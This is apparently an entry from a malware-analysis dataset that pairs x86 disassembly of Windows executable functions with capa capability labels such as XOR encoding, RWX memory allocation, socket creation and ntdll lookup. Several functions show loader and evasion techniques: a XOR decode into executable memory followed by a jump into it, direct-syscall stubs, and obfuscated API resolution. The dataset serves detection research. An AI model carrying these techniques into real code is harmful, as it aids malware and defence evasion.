joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4768f8
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0xcf24ca
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ecx
push 0xffffffffffffffff
lea ecx, [ecx + 4]
call fcn.004775b0
mov edx, dword [ebp - 0x14]
mov dword [edx], 0xf448b4
xor eax, eax
mov dword [edx + 8], eax
mov dword [edx + 0xc], eax
mov dword [edx + 0x10], eax
mov dword [ebp - 4], 0
xor eax, eax
mov dword [edx + 0x14], eax
mov dword [edx + 0x18], eax
mov dword [edx + 0x1c], eax
mov dword [ebp - 4], 1
xor eax, eax
mov dword [edx + 0x20], eax
mov dword [edx + 0x24], eax
mov dword [edx + 0x28], eax
mov dword [ebp - 4], 2
xor eax, eax
mov dword [edx + 0x2c], eax
mov dword [edx + 0x30], eax
mov dword [edx + 0x34], eax
mov dword [ebp - 4], 3
xor eax, eax
mov dword [edx + 0x38], eax
mov dword [edx + 0x3c], eax
mov dword [edx + 0x40], eax
mov dword [ebp - 4], 4
xor eax, eax
mov dword [edx + 0x44], eax
mov dword [edx + 0x48], eax
mov dword [edx + 0x4c], eax
mov dword [ebp - 4], 5
xor eax, eax
mov dword [edx + 0x50], eax
mov dword [edx + 0x54], eax
mov dword [edx + 0x58], eax
mov dword [ebp - 4], 6
mov ecx, edx
mov dword [ecx + 0x5c], 0
call fcn.00476a58
mov ebx, eax
mov eax, dword [ebp + 8]
test eax, eax
je 0x476a42
test ebx, ebx
jl 0x4769e6
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp + 8]
push 0x104
lea ecx, [eax + 0x60]
push edx
push ecx
call 0xd2cd5c
add esp, 0xc
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x476a07
mov eax, dword [ebp - 0x14]
mov edi, dword [ebp + 0x10]
lea esi, [eax + 0x164]
mov dl, byte [edi]
add edi, 1
mov byte [esi], dl
add esi, 1
test dl, dl
jne 0x4769f9
push ebx
push 0x92
push 0xd272dc
push 0xd26b80
push 6
call fcn.004783c8
add esp, 0x14
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x14]
mov edi, dword [ebp - 0x20]
mov esi, dword [ebp - 0x1c]
mov dword [edx], ebx
mov ebx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 0xc
push 0xd272ec
push 1
call fcn.004783c8
add esp, 8
mov ebx, 0x80070057
jmp 0x4769e6
Function at 0x48dbd8
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0xcf24ca
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ecx
push 0xffffffffffffffff
lea ecx, [ecx + 4]
call fcn.0048e890
mov edx, dword [ebp - 0x14]
mov dword [edx], 0xf448b4
xor eax, eax
mov dword [edx + 8], eax
mov dword [edx + 0xc], eax
mov dword [edx + 0x10], eax
mov dword [ebp - 4], 0
xor eax, eax
mov dword [edx + 0x14], eax
mov dword [edx + 0x18], eax
mov dword [edx + 0x1c], eax
mov dword [ebp - 4], 1
xor eax, eax
mov dword [edx + 0x20], eax
mov dword [edx + 0x24], eax
mov dword [edx + 0x28], eax
mov dword [ebp - 4], 2
xor eax, eax
mov dword [edx + 0x2c], eax
mov dword [edx + 0x30], eax
mov dword [edx + 0x34], eax
mov dword [ebp - 4], 3
xor eax, eax
mov dword [edx + 0x38], eax
mov dword [edx + 0x3c], eax
mov dword [edx + 0x40], eax
mov dword [ebp - 4], 4
xor eax, eax
mov dword [edx + 0x44], eax
mov dword [edx + 0x48], eax
mov dword [edx + 0x4c], eax
mov dword [ebp - 4], 5
xor eax, eax
mov dword [edx + 0x50], eax
mov dword [edx + 0x54], eax
mov dword [edx + 0x58], eax
mov dword [ebp - 4], 6
mov ecx, edx
mov dword [ecx + 0x5c], 0
call fcn.0048dd38
mov ebx, eax
mov eax, dword [ebp + 8]
test eax, eax
je 0x48dd22
test ebx, ebx
jl 0x48dcc6
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp + 8]
push 0x104
lea ecx, [eax + 0x60]
push edx
push ecx
call 0xd4403c
add esp, 0xc
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x48dce7
mov eax, dword [ebp - 0x14]
mov edi, dword [ebp + 0x10]
lea esi, [eax + 0x164]
mov dl, byte [edi]
add edi, 1
mov byte [esi], dl
add esi, 1
test dl, dl
jne 0x48dcd9
push ebx
push 0x92
push 0xd272dc
push 0xd26b80
push 6
call fcn.0048f6a8
add esp, 0x14
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x14]
mov edi, dword [ebp - 0x20]
mov esi, dword [ebp - 0x1c]
mov dword [edx], ebx
mov ebx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 0xc
push 0xd272ec
push 1
call fcn.0048f6a8
add esp, 8
mov ebx, 0x80070057
jmp 0x48dcc6
Function at 0x4a4c98
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0xcf24ca
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ecx
push 0xffffffffffffffff
lea ecx, [ecx + 4]
call fcn.004a5950
mov edx, dword [ebp - 0x14]
mov dword [edx], 0xf448b4
xor eax, eax
mov dword [edx + 8], eax
mov dword [edx + 0xc], eax
mov dword [edx + 0x10], eax
mov dword [ebp - 4], 0
xor eax, eax
mov dword [edx + 0x14], eax
mov dword [edx + 0x18], eax
mov dword [edx + 0x1c], eax
mov dword [ebp - 4], 1
xor eax, eax
mov dword [edx + 0x20], eax
mov dword [edx + 0x24], eax
mov dword [edx + 0x28], eax
mov dword [ebp - 4], 2
xor eax, eax
mov dword [edx + 0x2c], eax
mov dword [edx + 0x30], eax
mov dword [edx + 0x34], eax
mov dword [ebp - 4], 3
xor eax, eax
mov dword [edx + 0x38], eax
mov dword [edx + 0x3c], eax
mov dword [edx + 0x40], eax
mov dword [ebp - 4], 4
xor eax, eax
mov dword [edx + 0x44], eax
mov dword [edx + 0x48], eax
mov dword [edx + 0x4c], eax
mov dword [ebp - 4], 5
xor eax, eax
mov dword [edx + 0x50], eax
mov dword [edx + 0x54], eax
mov dword [edx + 0x58], eax
mov dword [ebp - 4], 6
mov ecx, edx
mov dword [ecx + 0x5c], 0
call fcn.004a4df8
mov ebx, eax
mov eax, dword [ebp + 8]
test eax, eax
je 0x4a4de2
test ebx, ebx
jl 0x4a4d86
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp + 8]
push 0x104
lea ecx, [eax + 0x60]
push edx
push ecx
call 0xd5b0fc
add esp, 0xc
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x4a4da7
mov eax, dword [ebp - 0x14]
mov edi, dword [ebp + 0x10]
lea esi, [eax + 0x164]
mov dl, byte [edi]
add edi, 1
mov byte [esi], dl
add esi, 1
test dl, dl
jne 0x4a4d99
push ebx
push 0x92
push 0xd272dc
push 0xd26b80
push 6
call fcn.004a6768
add esp, 0x14
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x14]
mov edi, dword [ebp - 0x20]
mov esi, dword [ebp - 0x1c]
mov dword [edx], ebx
mov ebx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 0xc
push 0xd272ec
push 1
call fcn.004a6768
add esp, 8
mov ebx, 0x80070057
jmp 0x4a4d86
Function at 0x4b9e8d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c1340
cmp edx, dword [eax]
je 0x4b9eaf
add eax, 8
inc ecx
cmp eax, 0x4c13d0
jl 0x4b9ea0
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c1340]
jne 0x4b9fdd
mov eax, dword [0x4c5ccc]
cmp eax, 1
je 0x4b9fb7
test eax, eax
jne 0x4b9ee0
cmp dword [0x4c1268], 1
je 0x4b9fb7
cmp edx, 0xfc
je 0x4b9fdd
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4b9f17
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004ba870
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bad00
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4b9f5a
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bad00
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4bf6bc
push edi
call fcn.004bcbd0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004ba870
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004ba880
lea eax, [ebp - 0xa0]
push 0x4bf69c
push eax
call fcn.004ba880
push dword [esi + 0x4c1344]
lea eax, [ebp - 0xa0]
push eax
call fcn.004ba880
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.004bcb44
add esp, 0x2c
pop edi
jmp 0x4b9fdd
lea eax, [ebp + 8]
lea esi, [esi + 0x4c1344]
push 0
push eax
push dword [esi]
call fcn.004bad00
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x467584
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov dl, 0xb5
mov ebx, eax
xor eax, eax
mov ecx, eax
mov esi, ebx
shr esi, cl
mov ecx, esi
and cl, 0xff
xor dl, cl
inc eax
cmp eax, 4
jne 0x46758c
mov eax, edx
pop esi
pop ebx
ret

Function at 0x100173f2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x10017401
pop dword [ebp - 0x14]
mov eax, 0x991e84eb
sub eax, 0x891d10ea
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x699a2b60
sub dword [ebp - 0x24], 0x1b47e615
mov dword [ebp - 0x20], 0x258ad3ea
add dword [ebp - 0x20], 0xca8785b
mov dword [ebp - 0x1c], 0x341c9a06
add dword [ebp - 0x1c], 0x182faa28
mov dword [ebp - 0x18], 0x679a3d34
sub dword [ebp - 0x18], 0x679a3d34
lea eax, [ebp - 0x24]
push eax
mov eax, 0xd2136ee0
add eax, 0x3df2222c
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x64c1c486
add dword [ebp - 0x24], 0xfb0a4d0
mov dword [ebp - 0x20], 0x492b016d
add dword [ebp - 0x20], 0xf8416008
mov dword [ebp - 0x1c], 0x67d965c3
sub dword [ebp - 0x1c], 0x469f957
mov dword [ebp - 0x18], 0x3e7945ac
add dword [ebp - 0x18], 0xc186ba54
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0xf7132b87
sub eax, 0xe70d9b47
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x5c8cd
push 0
call eax
mov ecx, 0x4792eb58
add ecx, 0xb86d581b
xor esi, esi
add esi, eax
mov edx, 0x10069400
add edx, dword [ebp - 0x14]
mov ebx, 0x9a00760e
sub ebx, 0x5732f073
xor dword [ebp - 0xc], esi
mov edi, dword [edx]
add dword [ebp - 0xc], 0xa5c06dd6
xor edi, ebx
mov dword [esi], edi
sub dword [ebp - 0xc], 0xc30a612a
add esi, 0xe04aa5de
sub esi, 0xe04aa5da
add edx, 0x2f225634
add edx, 0xd0dda9d0
loop 0x1001751f
add eax, 0x1009f
mov ebx, eax
add eax, 0xdda679f3
sub eax, 0xdda679ee
mov ecx, 0x10000000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x43e172
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [0x67553c]
push esi
xor esi, esi
cmp dword [ebp + 0xc], esi
jle 0x5127f8
push edi
mov eax, dword [ebp + 0xc]
sub eax, esi
cmp eax, 0x100000
jle 0x43e1a1
mov eax, 0x100000
push 0
push eax
mov eax, dword [ebp + 8]
lea ecx, [esi + eax]
push ecx
push ebx
call dword [sym.imp.WS2_32.dll_recv]
jmp 0x5127a4
mov edi, eax
mov dword [ebp - 4], edi
test edi, edi
jle 0x5127e5
mov eax, dword [0x675540]
add esi, edi
mov dword [ebp - 8], esi
test eax, eax
je 0x5127dc
fild dword [ebp - 4]
sub esp, 0xc
fstp dword [esp + 8]
fild dword [ebp - 8]
fstp dword [esp + 4]
fild dword [ebp + 0xc]
fstp dword [esp]
call eax
cmp esi, dword [ebp + 0xc]
jl 0x43e18c
cmp edi, 0xffffffff
pop edi
jne 0x5127f8
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, esi
pop esi
pop ebx
mov esp, ebp
push 0x535d56
ret

Function at 0x445d73
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00533c7a
mov esp, ebp
pop ebp
ret
jne 0x51eeac
or dword [0x679aa4], ecx
xor eax, eax
jmp 0x42ccb5
lea edx, [eax + 1]
imul edx, edx, 0x1d8b
xor dx, word [eax*2 + 0x56c240]
mov word [ebp + eax*2 - 0x108], dx
add eax, ecx
cmp eax, 0xa
jl 0x42ccb5
push 0x51ee66
ret
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 1
test byte [0x679aa4], cl
jmp 0x42cca2
push 0
push 0
push ebx
push edi
push 0
push 0
push esi
call dword [0x679aa0]
jmp 0x4164f0

Function at 0x446a8c
Capabilities:
Encode data using xor

Disassembly:
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
lea ecx, [eax + 1]
imul ecx, ecx, 0x6279
xor cx, word [eax*2 + 0x56c180]
inc eax
mov word [ebp + eax*2 - 0x10a], cx
cmp eax, 7
jl 0x444bb1
xor eax, eax
lea edx, [eax + 1]
imul edx, edx, 0x4593
xor dx, word [eax*2 + 0x56c190]
jmp 0x4a618a
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [section..data]
jmp 0x444baa
inc eax
mov word [ebp + eax*2 - 0x20a], dx
cmp eax, 5
jl 0x444bd6
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x4a61cd
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00533c7a
mov esp, ebp
pop ebp
ret
push esi
call eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00533c7a
mov esp, ebp
pop ebp
ret
Function at 0x4792f6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov ecx, 1
mov dword [ebp - 0x20c], eax
test byte [0x679a94], cl
jne 0x51b265
or dword [0x679a94], ecx
xor eax, eax
lea edx, [eax + 1]
imul edx, edx, 0x408d
xor dx, word [eax*2 + 0x56c574]
jmp 0x51b20c
mov eax, dword [ebp + 8]
push edx
push eax
push ebx
push edi
push esi
call dword [0x679a90]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00533c7a
mov esp, ebp
pop ebp
ret 8
mov word [ebp + eax*2 - 0x108], dx
add eax, ecx
cmp eax, 0xa
jl 0x47932b
xor eax, eax
lea edx, [eax + 1]
imul edx, edx, 0x2a28
xor dx, word [eax*2 + 0x56c58c]
mov word [ebp + eax*2 - 0x208], dx
add eax, ecx
cmp eax, 5
jl 0x51b221
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x679a90], eax
mov edx, dword [ebp - 0x20c]
jmp 0x515b24

Function at 0x4927c7
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x6752fc]
push ebx
push esi
push edi
xor edi, edi
xor esi, esi
mov dword [ebp - 0x14], 0xb8d18b4c
mov word [ebp - 0xc], 0x50f
mov byte [ebp - 0xa], 0xc3
cmp eax, 6
jne 0x4daeae
jmp dword [0x4927fb]
mov edx, dword [ebp + 0x20]
mov dword [0x62e611], eax
mov eax, dword [ebp + 0x24]
mov dword [0x62e617], edx
mov edx, dword [ebp + 0x28]
mov dword [0x62e61b], eax
mov dword [0x62e621], edx
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
xor edx, edx
mov eax, ebx
add eax, 0x400
mov dword [0x62e67b], eax
adc edx, edi
mov dword [0x62e67f], edx
lea ecx, [ebx + 0x100]
jmp dword [0x4c6407]
push 0x40
push 0x3000
push 0x1000
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
mov dword [0x675668], ebx
jmp 0x4cce28
mov eax, dword [0x67566c]
push eax
call fcn.004dc05b
mov ebx, dword [0x675668]
add esp, 4
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov dword [0x62e5f9], edx
mov edx, dword [ebp + 0x10]
mov dword [0x62e5fd], eax
mov eax, dword [ebp + 0x14]
mov dword [0x62e603], edx
mov edx, dword [ebp + 0x18]
mov dword [0x62e607], eax
mov eax, dword [ebp + 0x1c]
mov dword [0x62e60d], edx
jmp 0x4c63bc
cmp eax, 0xa
jne 0x4daeba
lea esi, [eax + 0x30]
mov ebx, dword [0x675668]
cmp ebx, edi
jne 0x4cce14
jmp 0x4ccdf4
Function at 0x4ad9a3
Capabilities:
Encode data using xor

Disassembly:
mov dword [ebp - 0x33c4], edi
xor eax, eax
lea ecx, [ecx]
lea ecx, [eax + 1]
imul ecx, ecx, 0x7a6c
xor cx, word [eax*2 + 0x56c794]
inc eax
mov word [ebp + eax*2 - 0x318e], cx
cmp eax, 0xe
jl 0x466d49
lea edx, [ebp - 0x33b4]
push edx
push 1
push 0
lea eax, [ebp - 0x318c]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
jmp 0x48838e
test eax, eax
je 0x4883cd
xor ecx, ecx
lea edx, [ecx + 1]
imul edx, edx, 0x1991
xor dx, word [ecx*2 + 0x56c7b4]
inc ecx
mov word [ebp + ecx*2 - 0x318e], dx
cmp ecx, 6
jl 0x488398
push eax
lea eax, [ebp - 0x318c]
push eax
push edi
call dword [sym.imp.msvcrt.dll_sprintf]
add esp, 0xc
mov dword [ebp - 0x33b0], 0x3e8
mov byte [ebp - 0x5f4], 0
jmp dword [0x4883e4]
push ebp
mov ebp, esp
mov eax, 0x33d0
call fcn.00444646
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x33bc], eax
jmp 0x466d3e

Function at 0x4f2249
Capabilities:
Encode data using xor

Disassembly:
mov dword [edi], eax
cmp byte [0x675414], bl
je 0x539448
mov eax, esi
cdq
cmp eax, 0xffffffff
jne 0x455157
cmp edx, ebx
jne 0x455157
or eax, eax
or edx, 0xffffffff
push edi
lea esi, [edi + 0x10]
push esi
push edx
push eax
mov dword [esi], ebx
mov dword [esi + 4], ebx
call fcn.004f9983
cmp dword [esi + 4], 0
mov ebx, eax
je 0x464132
xor eax, eax
jmp 0x4640fc
lea ecx, [eax + 1]
imul ecx, ecx, 0x312e
xor cx, word [eax*2 + 0x56c2b0]
inc eax
mov word [ebp + eax*2 - 0x10e], cx
cmp eax, 6
jl 0x4640fc
push 0
push 0
lea edx, [ebp - 0x10c]
push edx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov eax, dword [esi]
mov dword [ebp - 0x110], eax
jmp dword [0x464144]
je 0x539422
mov dword [ebp - 0x110], ebx
jmp 0x539422
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 4
push 0x3000
push 0x1000
xor ebx, ebx
push ebx
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x110], ebx
jmp 0x455130
push 0x8000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x110]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00533c7a
mov esp, ebp
pop ebp
ret 4
lea ecx, [ebp - 0x110]
push ecx
mov ecx, edi
mov edx, esi
mov dword [ebp - 0x110], ebx
call fcn.00416c49
test eax, eax
jmp 0x4927b6
Function at 0x4f9983
Capabilities:
Allocate or change rwx memory

Disassembly:
push 0x40
push 0x3000
push 0x1000
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
mov dword [0x675658], ebx
jmp 0x42abd8
mov eax, dword [0x67565c]
push eax
call fcn.004dc05b
mov ebx, dword [0x675658]
add esp, 4
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov dword [0x62e529], edx
jmp dword [0x42abed]
mov byte [ebp - 0xa], 0xc3
cmp eax, 6
jne 0x44ae1b
mov eax, dword [0x675300]
cmp eax, 1
jne 0x44adf9
lea esi, [edi + 0x15]
jmp 0x44ae27
cmp eax, 2
jne 0x44ae0a
lea esi, [eax + 0x14]
jmp 0x44ae27
cmp eax, 3
jne 0x44ae27
lea esi, [eax + 0x14]
jmp 0x44ae27
cmp eax, 0xa
jne 0x44ae27
lea esi, [eax + 0xe]
mov ebx, dword [0x675658]
cmp ebx, edi
jne 0x42abc4
jmp 0x42aba4
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x6752fc]
push ebx
push esi
push edi
xor edi, edi
xor esi, esi
mov dword [ebp - 0x14], 0xb8d18b4c
mov word [ebp - 0xc], 0x50f
jmp 0x44add6

Function at 0x504b4f
Capabilities:
Encode data using xor
Get hostname

Disassembly:
mov edx, dword [ebp - 0x3e0]
push 1
lea eax, [ebp - 0x3dc]
push eax
push 0
push 0
mov byte [ebp + edx - 0x10c], 0
mov dword [ebp - 0x3dc], 0x1a8
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
push 0x4209e6
ret
mov dword [ebp - 0x3e4], ebx
test eax, eax
je 0x4b60d9
test ebx, ebx
je 0x4b60d9
push 0xff
lea eax, [ebp - 0x10b]
push 0
push eax
mov byte [ebp - 0x10c], 0
call sub.msvcrt.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x3e0]
push ecx
lea edx, [ebp - 0x10c]
push edx
mov dword [ebp - 0x3e0], 0x100
jmp 0x4a6cce
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
jne 0x43a7a0
lea ecx, [eax + 1]
imul ecx, ecx, 0x7b11
xor cx, word [eax*2 + 0x56cb20]
inc eax
mov word [ebp + eax*2 - 0x236], cx
cmp eax, 5
jl 0x4a6cdc
jmp dword [0x4a6d09]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
xor al, al
pop ebx
call fcn.00533c7a
mov esp, ebp
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 0x3e8
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov ebx, ecx
push edi
mov dword [ebp - 0x3e8], eax
jmp 0x46bb4c
Function at 0x50914b
Capabilities:
Encode data using xor

Disassembly:
inc eax
mov word [ebp + eax*2 - 0x436], dx
cmp eax, 8
jl 0x50916b
mov ebx, dword [ebp + 8]
mov esi, dword [sym.imp.msvcrt.dll_sprintf]
push ebx
lea eax, [ebp - 0x434]
push eax
push ecx
call esi
add esp, 0xc
xor eax, eax
jmp 0x410f06
lea ecx, [eax + 1]
imul ecx, ecx, 0x76b6
xor cx, word [eax*2 + 0x56c6d4]
inc eax
mov word [ebp + eax*2 - 0x436], cx
cmp eax, 0xa
jl 0x410f06
push ebx
lea edx, [ebp - 0x434]
push edx
lea eax, [ebp - 0x30c]
jmp 0x44dc82
push eax
call esi
add esp, 0xc
push 0
push 0x40000000
push 3
push 0
push 3
push 0xc0000000
lea ecx, [ebp - 0x30c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
xor eax, eax
cmp edi, eax
je 0x4ebddb
cmp edi, 0xffffffff
je 0x4ebddb
mov dword [ebp - 0x330], eax
mov dword [ebp - 0x328], eax
push 0x1000
jmp dword [0x44dcd3]
imul edx, edx, 0x7425
xor dx, word [eax*2 + str._vY_fq2]
inc eax
mov word [ebp + eax*2 - 0x536], dx
cmp eax, 8
jl 0x4ebddb
mov ecx, dword [ebp - 0x538]
push ebx
lea eax, [ebp - 0x534]
push eax
push ecx
call esi
mov ecx, dword [ebp - 8]
add esp, 0xc
pop edi
pop esi
xor ecx, ebp
xor al, al
pop ebx
call fcn.00533c7a
mov esp, ebp
pop ebp
ret
lea edx, [eax + 1]
jmp 0x459732
push ebp
mov ebp, esp
sub esp, 0x540
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov dword [ebp - 0x538], ecx
xor eax, eax
mov edi, edi
lea edx, [eax + 1]
imul edx, edx, 0x22de
xor dx, word [eax*2 + 0x56c6c0]
jmp 0x410ed6

Function at 0x50a7e7
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0
push 1
push 2
mov esi, ecx
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x67553c], eax
push 0x53c388
ret

Function at 0x515b42
Capabilities:
Encode data using xor

Disassembly:
xor dx, word [eax*2 + 0x56c598]
mov word [ebp + eax*2 - 0x108], dx
add eax, ecx
cmp eax, 0xd
jl 0x515b73
xor eax, eax
lea edx, [eax + 1]
imul edx, edx, 0x5f04
xor dx, word [eax*2 + 0x56c5b4]
mov word [ebp + eax*2 - 0x208], dx
add eax, ecx
cmp eax, 5
jl 0x46dc67
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x208]
jmp 0x4e536c
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x679a88], eax
push 0
push 0x18
push edi
push 0
push esi
call dword [0x679a88]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00533c7a
mov esp, ebp
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 1
test byte [0x679a8c], cl
jne 0x4e537f
or dword [0x679a8c], ecx
xor eax, eax
jmp 0x515b73
lea edx, [eax + 1]
imul edx, edx, 0xe1e
jmp 0x46dc4a